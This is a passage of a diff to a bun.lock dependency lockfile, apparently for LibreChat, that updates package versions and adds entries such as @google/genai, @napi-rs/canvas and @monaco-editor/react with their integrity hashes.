"sha512-4uJGhsxuptu3OcpVAzli+/gWusVGwZZHTlS63hh++ehExkVT8SgiEf7/uC/PclrPPkLhZqGgCTjd0VWLo6xMqA=="], "@eslint-community/eslint-utils": ["@eslint-community/eslint-utils@4.9.0", "", { "dependencies": { "eslint-visitor-keys": "^3.4.3" }, "peerDependencies": { "eslint": "^6.0.0 || ^7.0.0 || >=8.0.0" } }, "sha512-ayVFHdtZ+hsq1t2Dy24wCmGXGe4q9Gu3smhLYALJrr473ZH27MsnSL+LKUlimp4BWJqMDMLmPpx/Q9R3OAlL4g=="], @@ -1125,7 +1199,7 @@ "@eslint/core": ["@eslint/core@0.17.0", "", { "dependencies": { "@types/json-schema": "^7.0.15" } }, "sha512-yL/sLrpmtDaFEiUj1osRP4TI2MDz1AddJL+jZ7KSqvBuliN4xqYY54IfdN8qD8Toa6g1iloph1fxQNkjOxrrpQ=="], - "@eslint/eslintrc": ["@eslint/eslintrc@3.3.1", "", { "dependencies": { "ajv": "^6.12.4", "debug": "^4.3.2", "espree": "^10.0.1", "globals": "^14.0.0", "ignore": "^5.2.0", "import-fresh": "^3.2.1", "js-yaml": "^4.1.0", "minimatch": "^3.1.2", "strip-json-comments": "^3.1.1" } }, "sha512-gtF186CXhIl1p4pJNGZw8Yc6RlshoePRvE0X91oPGb3vZ8pM3qOS9W9NGPat9LziaBV7XrJWGylNQXkGcnM3IQ=="], + "@eslint/eslintrc": ["@eslint/eslintrc@3.3.5", "", { "dependencies": { "ajv": "^6.14.0", "debug": "^4.3.2", "espree": "^10.0.1", "globals": "^14.0.0", "ignore": "^5.2.0", "import-fresh": "^3.2.1", "js-yaml": "^4.1.1", "minimatch": "^3.1.5", "strip-json-comments": "^3.1.1" } }, "sha512-4IlJx0X0qftVsN5E+/vGujTRIFtwuLbNsVUe7TO6zYPDR1O6nFwvwhIKEKSrl6dZchmYBITazxKoUYOjdtjlRg=="], "@eslint/js": ["@eslint/js@9.39.1", "", {}, "sha512-S26Stp4zCy88tH94QbBv3XCuzRQiZ9yXofEILmglYTh/Ug/a9/umqvgFtYBAo3Lp0nsI/5/qH1CCrbdK3AP1Tw=="], @@ -1231,17 +1305,19 @@ "@floating-ui/utils": ["@floating-ui/utils@0.2.8", "", {}, "sha512-kym7SodPp8/wloecOpcmSnWJsK7M0E5Wg8UcFA+uO4B9s5d0ywXOEro/8HM9x0rW+TljRzul/14UYz3TleT3ig=="], - "@google/generative-ai": ["@google/generative-ai@0.24.0", "", {}, "sha512-fnEITCGEB7NdX0BhoYZ/cq/7WPZ1QS5IzJJfC3Tg/OwkvBetMiVJciyaan297OvE4B9Jg1xvo0zIazX/9sGu1Q=="], + "@google/genai": ["@google/genai@1.44.0", "", { "dependencies": { "google-auth-library": "^10.3.0", "p-retry": "^4.6.2", "protobufjs": "^7.5.4", "ws": "^8.18.0" }, "peerDependencies": { "@modelcontextprotocol/sdk": "^1.25.2" }, "optionalPeers": ["@modelcontextprotocol/sdk"] }, "sha512-kRt9ZtuXmz+tLlcNntN/VV4LRdpl6ZOu5B1KbfNgfR65db15O6sUQcwnwLka8sT/V6qysD93fWrgJHF2L7dA9A=="], - "@googleapis/youtube": ["@googleapis/youtube@20.0.0", "", { "dependencies": { "googleapis-common": "^7.0.0" } }, "sha512-wdt1J0JoKYhvpoS2XIRHX0g/9ul/B0fQeeJAhuuBIdYINuuLt6/oZYZZCBmkuhtkA3IllXgqgAXOjLtLRAnR2g=="], + "@google/generative-ai": ["@google/generative-ai@0.24.0", "", {}, "sha512-fnEITCGEB7NdX0BhoYZ/cq/7WPZ1QS5IzJJfC3Tg/OwkvBetMiVJciyaan297OvE4B9Jg1xvo0zIazX/9sGu1Q=="], "@grpc/grpc-js": ["@grpc/grpc-js@1.9.15", "", { "dependencies": { "@grpc/proto-loader": "^0.7.8", "@types/node": ">=12.12.47" } }, "sha512-nqE7Hc0AzI+euzUwDAy0aY5hCp10r734gMGRdU+qOPX0XSceI2ULrcXB5U2xSc5VkWwalCj4M7GzCAygZl2KoQ=="], "@grpc/proto-loader": ["@grpc/proto-loader@0.7.13", "", { "dependencies": { "lodash.camelcase": "^4.3.0", "long": "^5.0.0", "protobufjs": "^7.2.5", "yargs": "^17.7.2" }, "bin": { "proto-loader-gen-types": "build/bin/proto-loader-gen-types.js" } }, "sha512-AiXO/bfe9bmxBjxxtYxFAXGZvMaN5s8kO+jBHAJCON8rJoB5YS/D6X7ZNc6XQkuHNmyl4CYaMI1fJ/Gn27RGGw=="], + "@happy-dom/jest-environment": ["@happy-dom/jest-environment@20.8.3", "", { "dependencies": { "happy-dom": "^20.8.3" }, "peerDependencies": { "@jest/environment": ">=25.0.0", "@jest/fake-timers": ">=25.0.0", "@jest/types": ">=25.0.0", "jest-mock": ">=25.0.0", "jest-util": ">=25.0.0" } }, "sha512-VMOfNvF7UPPHIc7SUrFqGXqJrkONYX6Vd0ZXblmjgb1JA2RFnrc1KiVodzG0c7IT5Q0jfA0CQjvlqWjQ/BYtkQ=="], + "@headlessui/react": ["@headlessui/react@2.2.4", "", { "dependencies": { "@floating-ui/react": "^0.26.16", "@react-aria/focus": "^3.20.2", "@react-aria/interactions": "^3.25.0", "@tanstack/react-virtual": "^3.13.9", "use-sync-external-store": "^1.5.0" }, "peerDependencies": { "react": "^18 || ^19 || ^19.0.0-rc", "react-dom": "^18 || ^19 || ^19.0.0-rc" } }, "sha512-lz+OGcAH1dK93rgSMzXmm1qKOJkBUqZf1L4M8TWLNplftQD3IkoEDdUFNfAn4ylsN6WOTVtWaLmvmaHOUk1dTA=="], - "@hono/node-server": ["@hono/node-server@1.19.7", "", { "peerDependencies": { "hono": "^4" } }, "sha512-vUcD0uauS7EU2caukW8z5lJKtoGMokxNbJtBiwHgpqxEXokaHCBkQUmCHhjFB1VUTWdqj25QoMkMKzgjq+uhrw=="], + "@hono/node-server": ["@hono/node-server@1.19.11", "", { "peerDependencies": { "hono": "^4" } }, "sha512-dr8/3zEaB+p0D2n/IUrlPF1HZm586qgJNXK1a9fhg/PzdtkK7Ksd5l312tJX2yBuALqDYBlG20QEbayqPyxn+g=="], "@humanfs/core": ["@humanfs/core@0.19.1", "", {}, "sha512-5DyQ4+1JEUzejeK1JGICcideyfUbGixgS9jNgex5nqkW+cY7WZhxBigmieN5Qnw9ZosSNVC9KQKyb+GUaGyKUA=="], @@ -1251,6 +1327,10 @@ "@humanwhocodes/retry": ["@humanwhocodes/retry@0.4.3", "", {}, "sha512-bV0Tgo9K4hfPCek+aMAn81RppFKv2ySDQeMoSZuvTASywNTnVJCArCZE2FWqpvIatKu7VMRLWlR1EazvVhDyhQ=="], + "@iconify/types": ["@iconify/types@2.0.0", "", {}, "sha512-+wluvCrRhXrhyOmRDJ3q8mux9JkKy5SJ/v8ol2tu4FVjyYvtEzkc/3pK15ET6RKg4b4w4BmTk1+gsCUhf21Ykg=="], + + "@iconify/utils": ["@iconify/utils@3.1.0", "", { "dependencies": { "@antfu/install-pkg": "^1.1.0", "@iconify/types": "^2.0.0", "mlly": "^1.8.0" } }, "sha512-Zlzem1ZXhI1iHeeERabLNzBHdOa4VhQbqAcOQaMKuTuyZCpwKbC2R4Dd0Zo3g9EAc+Y4fiarO8HIHRAth7+skw=="], + "@img/sharp-darwin-arm64": ["@img/sharp-darwin-arm64@0.33.5", "", { "optionalDependencies": { "@img/sharp-libvips-darwin-arm64": "1.0.4" }, "os": "darwin", "cpu": "arm64" }, "sha512-UT4p+iz/2H4twwAoLCqfA9UH5pI6DggwKEGuaPy7nCVQ8ZsiY5PIcrRvD1DzuY3qYL07NtIQcWnBSY/heikIFQ=="], "@img/sharp-darwin-x64": ["@img/sharp-darwin-x64@0.33.5", "", { "optionalDependencies": { "@img/sharp-libvips-darwin-x64": "1.0.4" }, "os": "darwin", "cpu": "x64" }, "sha512-fyHac4jIc1ANYGRDxtiqelIbdWkIuQaI84Mv45KvGRRxSAa7o7d1ZKAOBaYbnepLC1WqxfpimdeWfvqqSGwR2Q=="], @@ -1315,7 +1395,7 @@ "@jest/expect-utils": ["@jest/expect-utils@29.7.0", "", { "dependencies": { "jest-get-type": "^29.6.3" } }, "sha512-GlsNBWiFQFCVi9QVSx7f5AgMeLxe9YCCs5PuP2O2LdjDAA8Jh9eX7lA1Jq/xdXw3Wb3hyvlFNfZIfcRetSzYcA=="], - "@jest/fake-timers": ["@jest/fake-timers@29.7.0", "", { "dependencies": { "@jest/types": "^29.6.3", "@sinonjs/fake-timers": "^10.0.2", "@types/node": "*", "jest-message-util": "^29.7.0", "jest-mock": "^29.7.0", "jest-util": "^29.7.0" } }, "sha512-q4DH1Ha4TTFPdxLsqDXK1d3+ioSL7yL5oCMJZgDYm6i+6CygW5E5xVr/D1HdsGxjt1ZWSfUAs9OxSB/BNelWrQ=="], + "@jest/fake-timers": ["@jest/fake-timers@30.2.0", "", { "dependencies": { "@jest/types": "30.2.0", "@sinonjs/fake-timers": "^13.0.0", "@types/node": "*", "jest-message-util": "30.2.0", "jest-mock": "30.2.0", "jest-util": "30.2.0" } }, "sha512-HI3tRLjRxAbBy0VO8dqqm7Hb2mIa8d5bg/NJkyQcOk7V118ObQML8RC5luTF/Zsg4474a+gDvhce7eTnP4GhYw=="], "@jest/get-type": ["@jest/get-type@30.1.0", "", {}, "sha512-eMbZE2hUnx1WV0pmURZY9XoXPkUYjpc55mb0CrhtdWLtzMQPFvu/rZkTLZFTsdaVQa+Tr4eWAteqcUzoawq/uA=="], @@ -1359,7 +1439,7 @@ "@langchain/aws": ["@langchain/aws@0.1.15", "", { "dependencies": { "@aws-sdk/client-bedrock-agent-runtime": "^3.755.0", "@aws-sdk/client-bedrock-runtime": "^3.840.0", "@aws-sdk/client-kendra": "^3.750.0", "@aws-sdk/credential-provider-node": "^3.750.0" }, "peerDependencies": { "@langchain/core": ">=0.3.58 <0.4.0" } }, "sha512-oyOMhTHP0rxdSCVI/g5KXYCOs9Kq/FpXMZbOk1JSIUoaIzUg4p6d98lsHu7erW//8NSaT+SX09QRbVDAgt7pNA=="], - "@langchain/core": ["@langchain/core@0.3.79", "", { "dependencies": { "@cfworker/json-schema": "^4.0.2", "ansi-styles": "^5.0.0", "camelcase": "6", "decamelize": "1.2.0", "js-tiktoken": "^1.0.12", "langsmith": "^0.3.67", "mustache": "^4.2.0", "p-queue": "^6.6.2", "p-retry": "4", "uuid": "^10.0.0", "zod": "^3.25.32", "zod-to-json-schema": "^3.22.3" } }, "sha512-ZLAs5YMM5N2UXN3kExMglltJrKKoW7hs3KMZFlXUnD7a5DFKBYxPFMeXA4rT+uvTxuJRZPCYX0JKI5BhyAWx4A=="], + "@langchain/core": ["@langchain/core@0.3.80", "", { "dependencies": { "@cfworker/json-schema": "^4.0.2", "ansi-styles": "^5.0.0", "camelcase": "6", "decamelize": "1.2.0", "js-tiktoken": "^1.0.12", "langsmith": "^0.3.67", "mustache": "^4.2.0", "p-queue": "^6.6.2", "p-retry": "4", "uuid": "^10.0.0", "zod": "^3.25.32", "zod-to-json-schema": "^3.22.3" } }, "sha512-vcJDV2vk1AlCwSh3aBm/urQ1ZrlXFFBocv11bz/NBUfLWD5/UDNMzwPdaAd2dKvNmTWa9FM2lirLU3+JCf4cRA=="], "@langchain/deepseek": ["@langchain/deepseek@0.0.2", "", { "dependencies": { "@langchain/openai": "^0.5.5" }, "peerDependencies": { "@langchain/core": ">=0.3.58 <0.4.0" } }, "sha512-u13KbPUXW7uhcybbRzYdRroBgqVUSgG0SJM15c7Etld2yjRQC2c4O/ga9eQZdLh/kaDlQfH/ZITFdjHe77RnGw=="], @@ -1405,7 +1485,7 @@ "@lezer/lr": ["@lezer/lr@1.4.2", "", { "dependencies": { "@lezer/common": "^1.0.0" } }, "sha512-pu0K1jCIdnQ12aWNaAVU5bzi7Bd1w54J3ECgANPmYLtQKP0HBj2cE/5coBD66MT10xbtIuUr7tg0Shbsvk0mDA=="], - "@librechat/agents": ["@librechat/agents@3.0.50", "", { "dependencies": { "@langchain/anthropic": "^0.3.26", "@langchain/aws": "^0.1.15", "@langchain/core": "^0.3.79", "@langchain/deepseek": "^0.0.2", "@langchain/google-genai": "^0.2.18", "@langchain/google-vertexai": "^0.2.18", "@langchain/langgraph": "^0.4.9", "@langchain/mistralai": "^0.2.1", "@langchain/openai": "0.5.18", "@langchain/textsplitters": "^0.1.0", "@langchain/xai": "^0.0.3", "@langfuse/langchain": "^4.3.0", "@langfuse/otel": "^4.3.0", "@langfuse/tracing": "^4.3.0", "@opentelemetry/sdk-node": "^0.207.0", "axios": "^1.12.1", "cheerio": "^1.0.0", "dotenv": "^16.4.7", "https-proxy-agent": "^7.0.6", "mathjs": "^15.1.0", "nanoid": "^3.3.7", "openai": "5.8.2" } }, "sha512-oovj3BsP/QoxPbWFAc71Ddplwd9BT8ucfYs+n+kiR37aCWtvxdvL9/XldRYfnaq9boNE324njQJyqc8v8AAPFQ=="], + "@librechat/agents": ["@librechat/agents@3.1.55", "", { "dependencies": { "@anthropic-ai/sdk": "^0.73.0", "@aws-sdk/client-bedrock-runtime": "^3.980.0", "@langchain/anthropic": "^0.3.26", "@langchain/aws": "^0.1.15", "@langchain/core": "^0.3.80", "@langchain/deepseek": "^0.0.2", "@langchain/google-genai": "^0.2.18", "@langchain/google-vertexai": "^0.2.18", "@langchain/langgraph": "^0.4.9", "@langchain/mistralai": "^0.2.1", "@langchain/openai": "0.5.18", "@langchain/textsplitters": "^0.1.0", "@langchain/xai": "^0.0.3", "@langfuse/langchain": "^4.3.0", "@langfuse/otel": "^4.3.0", "@langfuse/tracing": "^4.3.0", "@opentelemetry/sdk-node": "^0.207.0", "@scarf/scarf": "^1.4.0", "axios": "^1.13.5", "cheerio": "^1.0.0", "dotenv": "^16.4.7", "https-proxy-agent": "^7.0.6", "mathjs": "^15.1.0", "nanoid": "^3.3.7", "okapibm25": "^1.4.1", "openai": "5.8.2" } }, "sha512-impxeKpCDlPkAVQFWnA6u6xkxDSBR/+H8uYq7rZomBeu0rUh/OhJLiI1fAwPhKXP33udNtHA8GyDi0QJj78R9w=="], "@librechat/api": ["@librechat/api@workspace:packages/api"], @@ -1421,14 +1501,44 @@ "@mcp-ui/client": ["@mcp-ui/client@5.7.0", "", { "dependencies": { "@modelcontextprotocol/sdk": "*", "@quilted/threads": "^3.1.3", "@r2wc/react-to-web-component": "^2.0.4", "@remote-dom/core": "^1.8.0", "@remote-dom/react": "^1.2.2", "react": "^18.3.1", "react-dom": "^18.3.1" } }, "sha512-+HbPw3VS46WUSWmyJ34ZVnygb81QByA3luR6y0JDbyDZxjYtHw1FcIN7v9WbbE8PrfI0WcuWCSiNOO6sOGbwpQ=="], + "@mermaid-js/parser": ["@mermaid-js/parser@1.0.1", "", { "dependencies": { "langium": "^4.0.0" } }, "sha512-opmV19kN1JsK0T6HhhokHpcVkqKpF+x2pPDKKM2ThHtZAB5F4PROopk0amuVYK5qMrIA4erzpNm8gmPNJgMDxQ=="], + "@microsoft/microsoft-graph-client": ["@microsoft/microsoft-graph-client@3.0.7", "", { "dependencies": { "@babel/runtime": "^7.12.5", "tslib": "^2.2.0" } }, "sha512-/AazAV/F+HK4LIywF9C+NYHcJo038zEnWkteilcxC1FM/uK/4NVGDKGrxx7nNq1ybspAroRKT4I1FHfxQzxkUw=="], "@mistralai/mistralai": ["@mistralai/mistralai@1.10.0", "", { "dependencies": { "zod": "^3.20.0", "zod-to-json-schema": "^3.24.1" } }, "sha512-tdIgWs4Le8vpvPiUEWne6tK0qbVc+jMenujnvTqOjogrJUsCSQhus0tHTU1avDDh5//Rq2dFgP9mWRAdIEoBqg=="], - "@modelcontextprotocol/sdk": ["@modelcontextprotocol/sdk@1.25.0", "", { "dependencies": { "@hono/node-server": "^1.19.7", "ajv": "^8.17.1", "ajv-formats": "^3.0.1", "content-type": "^1.0.5", "cors": "^2.8.5", "cross-spawn": "^7.0.5", "eventsource": "^3.0.2", "eventsource-parser": "^3.0.0", "express": "^5.0.1", "express-rate-limit": "^7.5.0", "jose": "^6.1.1", "json-schema-typed": "^8.0.2", "pkce-challenge": "^5.0.0", "raw-body": "^3.0.0", "zod": "^3.25 || ^4.0", "zod-to-json-schema": "^3.25.0" }, "peerDependencies": { "@cfworker/json-schema": "^4.1.1" }, "optionalPeers": ["@cfworker/json-schema"] }, "sha512-z0Zhn/LmQ3yz91dEfd5QgS7DpSjA4pk+3z2++zKgn5L6iDFM9QapsVoAQSbKLvlrFsZk9+ru6yHHWNq2lCYJKQ=="], + "@modelcontextprotocol/sdk": ["@modelcontextprotocol/sdk@1.27.1", "", { "dependencies": { "@hono/node-server": "^1.19.9", "ajv": "^8.17.1", "ajv-formats": "^3.0.1", "content-type": "^1.0.5", "cors": "^2.8.5", "cross-spawn": "^7.0.5", "eventsource": "^3.0.2", "eventsource-parser": "^3.0.0", "express": "^5.2.1", "express-rate-limit": "^8.2.1", "hono": "^4.11.4", "jose": "^6.1.3", "json-schema-typed": "^8.0.2", "pkce-challenge": "^5.0.0", "raw-body": "^3.0.0", "zod": "^3.25 || ^4.0", "zod-to-json-schema": "^3.25.1" }, "peerDependencies": { "@cfworker/json-schema": "^4.1.1" }, "optionalPeers": ["@cfworker/json-schema"] }, "sha512-sr6GbP+4edBwFndLbM60gf07z0FQ79gaExpnsjMGePXqFcSSb7t6iscpjk9DhFhwd+mTEQrzNafGP8/iGGFYaA=="], + + "@monaco-editor/loader": ["@monaco-editor/loader@1.7.0", "", { "dependencies": { "state-local": "^1.0.6" } }, "sha512-gIwR1HrJrrx+vfyOhYmCZ0/JcWqG5kbfG7+d3f/C1LXk2EvzAbHSg3MQ5lO2sMlo9izoAZ04shohfKLVT6crVA=="], + + "@monaco-editor/react": ["@monaco-editor/react@4.7.0", "", { "dependencies": { "@monaco-editor/loader": "^1.5.0" }, "peerDependencies": { "monaco-editor": ">= 0.25.0 < 1", "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0", "react-dom": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0" } }, "sha512-cyzXQCtO47ydzxpQtCGSQGOC8Gk3ZUeBXFAxD+CWXYFo5OqZyZUonFl0DwUlTyAfRHntBfw2p3w4s9R6oe1eCA=="], "@mongodb-js/saslprep": ["@mongodb-js/saslprep@1.3.1", "", { "dependencies": { "sparse-bitfield": "^3.0.3" } }, "sha512-6nZrq5kfAz0POWyhljnbWQQJQ5uT8oE2ddX303q1uY0tWsivWKgBDXBBvuFPwOqRRalXJuVO9EjOdVtuhLX0zg=="], + "@napi-rs/canvas": ["@napi-rs/canvas@0.1.96", "", { "optionalDependencies": { "@napi-rs/canvas-android-arm64": "0.1.96", "@napi-rs/canvas-darwin-arm64": "0.1.96", "@napi-rs/canvas-darwin-x64": "0.1.96", "@napi-rs/canvas-linux-arm-gnueabihf": "0.1.96", "@napi-rs/canvas-linux-arm64-gnu": "0.1.96", "@napi-rs/canvas-linux-arm64-musl": "0.1.96", "@napi-rs/canvas-linux-riscv64-gnu": "0.1.96", "@napi-rs/canvas-linux-x64-gnu": "0.1.96", "@napi-rs/canvas-linux-x64-musl": "0.1.96", "@napi-rs/canvas-win32-arm64-msvc": "0.1.96", "@napi-rs/canvas-win32-x64-msvc": "0.1.96" } }, "sha512-6NNmNxvoJKeucVjxaaRUt3La2i5jShgiAbaY3G/72s1Vp3U06XPrAIxkAjBxpDcamEn/t+WJ4OOlGmvILo4/Ew=="], + + "@napi-rs/canvas-android-arm64": ["@napi-rs/canvas-android-arm64@0.1.96", "", { "os": "android", "cpu": "arm64" }, "sha512-ew1sPrN3dGdZ3L4FoohPfnjq0f9/Jk7o+wP7HkQZokcXgIUD6FIyICEWGhMYzv53j63wUcPvZeAwgewX58/egg=="], + + "@napi-rs/canvas-darwin-arm64": ["@napi-rs/canvas-darwin-arm64@0.1.96", "", { "os": "darwin", "cpu": "arm64" }, "sha512-Q/wOXZ5PzTqpdmA5eUOcegCf4Go/zz3aZ5DlzSeDpOjFmfwMKh8EzLAoweQ+mJVagcHQyzoJhaTEnrO68TNyNg=="], + + "@napi-rs/canvas-darwin-x64": ["@napi-rs/canvas-darwin-x64@0.1.96", "", { "os": "darwin", "cpu": "x64" }, "sha512-UrXiQz28tQEvGM1qvyptewOAfmUrrd5+wvi6Rzjj2VprZI8iZ2KIvBD2lTTG1bVF95AbeDeG7PJA0D9sLKaOFA=="], + + "@napi-rs/canvas-linux-arm-gnueabihf": ["@napi-rs/canvas-linux-arm-gnueabihf@0.1.96", "", { "os": "linux", "cpu": "arm" }, "sha512-I90ODxweD8aEP6XKU/NU+biso95MwCtQ2F46dUvhec1HesFi0tq/tAJkYic/1aBSiO/1kGKmSeD1B0duOHhEHQ=="], + + "@napi-rs/canvas-linux-arm64-gnu": ["@napi-rs/canvas-linux-arm64-gnu@0.1.96", "", { "os": "linux", "cpu": "arm64" }, "sha512-Dx/0+RFV++w3PcRy+4xNXkghhXjA5d0Mw1bs95emn5Llinp1vihMaA6WJt3oYv2LAHc36+gnrhIBsPhUyI2SGw=="], + + "@napi-rs/canvas-linux-arm64-musl": ["@napi-rs/canvas-linux-arm64-musl@0.1.96", "", { "os": "linux", "cpu": "arm64" }, "sha512-UvOi7fii3IE2KDfEfhh8m+LpzSRvhGK7o1eho99M2M0HTik11k3GX+2qgVx9EtujN3/bhFFS1kSO3+vPMaJ0Mg=="], + + "@napi-rs/canvas-linux-riscv64-gnu": ["@napi-rs/canvas-linux-riscv64-gnu@0.1.96", "", { "os": "linux", "cpu": "none" }, "sha512-MBSukhGCQ5nRtf9NbFYWOU080yqkZU1PbuH4o1ROvB4CbPl12fchDR35tU83Wz8gWIM9JTn99lBn9DenPIv7Ig=="], + + "@napi-rs/canvas-linux-x64-gnu": ["@napi-rs/canvas-linux-x64-gnu@0.1.96", "", { "os": "linux", "cpu": "x64" }, "sha512-I/ccu2SstyKiV3HIeVzyBIWfrJo8cN7+MSQZPnabewWV6hfJ2nY7Df2WqOHmobBRUw84uGR6zfQHsUEio/m5Vg=="], + + "@napi-rs/canvas-linux-x64-musl": ["@napi-rs/canvas-linux-x64-musl@0.1.96", "", { "os": "linux", "cpu": "x64" }, "sha512-H3uov7qnTl73GDT4h52lAqpJPsl1tIUyNPWJyhQ6gHakohNqqRq3uf80+NEpzcytKGEOENP1wX3yGwZxhjiWEQ=="], + + "@napi-rs/canvas-win32-arm64-msvc": ["@napi-rs/canvas-win32-arm64-msvc@0.1.96", "", { "os": "win32", "cpu": "arm64" }, "sha512-ATp6Y+djOjYtkfV/VRH7CZ8I1MEtkUQBmKUbuWw5zWEHHqfL0cEcInE4Cxgx7zkNAhEdBbnH8HMVrqNp+/gwxA=="], + + "@napi-rs/canvas-win32-x64-msvc": ["@napi-rs/canvas-win32-x64-msvc@0.1.96", "", { "os": "win32", "cpu": "x64" }, "sha512-UYGdTltVd+Z8mcIuoqGmAXXUvwH5CLf2M6mIB5B0/JmX5J041jETjqtSYl7gN+aj3k1by/SG6sS0hAwCqyK7zw=="], + "@napi-rs/wasm-runtime": ["@napi-rs/wasm-runtime@0.2.12", "", { "dependencies": { "@emnapi/core": "^1.4.3", "@emnapi/runtime": "^1.4.3", "@tybys/wasm-util": "^0.10.0" } }, "sha512-ZVWUcfwY4E/yPitQJl481FjFo3K22D6qF0DuFH6Y/nbnE11GY5uguDxZMGXPQ8WQ0128MXQD7TnfHyK4oWoIJQ=="], "@noble/hashes": ["@noble/hashes@1.8.0", "", {}, "sha512-jCs9ldd7NwzpgXDIf6P3+NrHh9/sD6CQdxHyjQI+h/6rDNo88ypBxxz45UDuZHz9r3tNz7N/VInSVoVdtXEI4A=="], @@ -1479,11 +1589,11 @@ "@opentelemetry/instrumentation": ["@opentelemetry/instrumentation@0.207.0", "", { "dependencies": { "@opentelemetry/api-logs": "0.207.0", "import-in-the-middle": "^2.0.0", "require-in-the-middle": "^8.0.0" }, "peerDependencies": { "@opentelemetry/api": "^1.3.0" } }, "sha512-y6eeli9+TLKnznrR8AZlQMSJT7wILpXH+6EYq5Vf/4Ao+huI7EedxQHwRgVUOMLFbe7VFDvHJrX9/f4lcwnJsA=="], - "@opentelemetry/otlp-exporter-base": ["@opentelemetry/otlp-exporter-base@0.207.0", "", { "dependencies": { "@opentelemetry/core": "2.2.0", "@opentelemetry/otlp-transformer": "0.207.0" }, "peerDependencies": { "@opentelemetry/api": "^1.3.0" } }, "sha512-4RQluMVVGMrHok/3SVeSJ6EnRNkA2MINcX88sh+d/7DjGUrewW/WT88IsMEci0wUM+5ykTpPPNbEOoW+jwHnbw=="], + "@opentelemetry/otlp-exporter-base": ["@opentelemetry/otlp-exporter-base@0.208.0", "", { "dependencies": { "@opentelemetry/core": "2.2.0", "@opentelemetry/otlp-transformer": "0.208.0" }, "peerDependencies": { "@opentelemetry/api": "^1.3.0" } }, "sha512-gMd39gIfVb2OgxldxUtOwGJYSH8P1kVFFlJLuut32L6KgUC4gl1dMhn+YC2mGn0bDOiQYSk/uHOdSjuKp58vvA=="], "@opentelemetry/otlp-grpc-exporter-base": ["@opentelemetry/otlp-grpc-exporter-base@0.207.0", "", { "dependencies": { "@grpc/grpc-js": "^1.7.1", "@opentelemetry/core": "2.2.0", "@opentelemetry/otlp-exporter-base": "0.207.0", "@opentelemetry/otlp-transformer": "0.207.0" }, "peerDependencies": { "@opentelemetry/api": "^1.3.0" } }, "sha512-eKFjKNdsPed4q9yYqeI5gBTLjXxDM/8jwhiC0icw3zKxHVGBySoDsed5J5q/PGY/3quzenTr3FiTxA3NiNT+nw=="], - "@opentelemetry/otlp-transformer": ["@opentelemetry/otlp-transformer@0.207.0", "", { "dependencies": { "@opentelemetry/api-logs": "0.207.0", "@opentelemetry/core": "2.2.0", "@opentelemetry/resources": "2.2.0", "@opentelemetry/sdk-logs": "0.207.0", "@opentelemetry/sdk-metrics": "2.2.0", "@opentelemetry/sdk-trace-base": "2.2.0", "protobufjs": "^7.3.0" }, "peerDependencies": { "@opentelemetry/api": "^1.3.0" } }, "sha512-+6DRZLqM02uTIY5GASMZWUwr52sLfNiEe20+OEaZKhztCs3+2LxoTjb6JxFRd9q1qNqckXKYlUKjbH/AhG8/ZA=="], + "@opentelemetry/otlp-transformer": ["@opentelemetry/otlp-transformer@0.208.0", "", { "dependencies": { "@opentelemetry/api-logs": "0.208.0", "@opentelemetry/core": "2.2.0", "@opentelemetry/resources": "2.2.0", "@opentelemetry/sdk-logs": "0.208.0", "@opentelemetry/sdk-metrics": "2.2.0", "@opentelemetry/sdk-trace-base": "2.2.0", "protobufjs": "^7.3.0" }, "peerDependencies": { "@opentelemetry/api": "^1.3.0" } }, "sha512-DCFPY8C6lAQHUNkzcNT9R+qYExvsk6C5Bto2pbNxgicpcSWbe2WHShLxkOxIdNcBiYPdVHv/e7vH7K6TI+C+fQ=="], "@opentelemetry/propagator-b3": ["@opentelemetry/propagator-b3@2.2.0", "", { "dependencies": { "@opentelemetry/core": "2.2.0" }, "peerDependencies": { "@opentelemetry/api": ">=1.0.0 <1.10.0" } }, "sha512-9CrbTLFi5Ee4uepxg2qlpQIozoJuoAZU5sKMx0Mn7Oh+p7UrgCiEV6C02FOxxdYVRRFQVCinYR8Kf6eMSQsIsw=="], @@ -1547,7 +1657,7 @@ "@radix-ui/react-accordion": ["@radix-ui/react-accordion@1.2.11", "", { "dependencies": { "@radix-ui/primitive": "1.1.2", "@radix-ui/react-collapsible": "1.1.11", "@radix-ui/react-collection": "1.1.7", "@radix-ui/react-compose-refs": "1.1.2", "@radix-ui/react-context": "1.1.2", "@radix-ui/react-direction": "1.1.1", "@radix-ui/react-id": "1.1.1", "@radix-ui/react-primitive": "2.1.3", "@radix-ui/react-use-controllable-state": "1.2.2" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" } }, "sha512-l3W5D54emV2ues7jjeG1xcyN7S3jnK3zE2zHqgn0CmMsy9lNJwmgcrmaxS+7ipw15FAivzKNzH3d5EcGoFKw0A=="], - "@radix-ui/react-alert-dialog": ["@radix-ui/react-alert-dialog@1.1.15", "", { "dependencies": { "@radix-ui/primitive": "1.1.3", "@radix-ui/react-compose-refs": "1.1.2", "@radix-ui/react-context": "1.1.2", "@radix-ui/react-dialog": "1.1.15", "@radix-ui/react-primitive": "2.1.3", "@radix-ui/react-slot": "1.2.3" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-oTVLkEw5GpdRe29BqJ0LSDFWI3qu0vR1M0mUkOQWDIUnY/QIkLpgDMWuKxP94c2NAC2LGcgVhG1ImF3jkZ5wXw=="], + "@radix-ui/react-alert-dialog": ["@radix-ui/react-alert-dialog@1.0.2", "", { "dependencies": { "@babel/runtime": "^7.13.10", "@radix-ui/primitive": "1.0.0", "@radix-ui/react-compose-refs": "1.0.0", "@radix-ui/react-context": "1.0.0", "@radix-ui/react-dialog": "1.0.2", "@radix-ui/react-primitive": "1.0.1", "@radix-ui/react-slot": "1.0.1" }, "peerDependencies": { "react": "^16.8 || ^17.0 || ^18.0", "react-dom": "^16.8 || ^17.0 || ^18.0" } }, "sha512-0MtxV53FaEEBOKRgyLnEqHZKKDS5BldQ9oUBsKVXWI5FHbl2jp35qs+0aJET+K5hJDsc40kQUzP7g+wC7tqrqA=="], "@radix-ui/react-arrow": ["@radix-ui/react-arrow@1.0.3", "", { "dependencies": { "@babel/runtime": "^7.13.10", 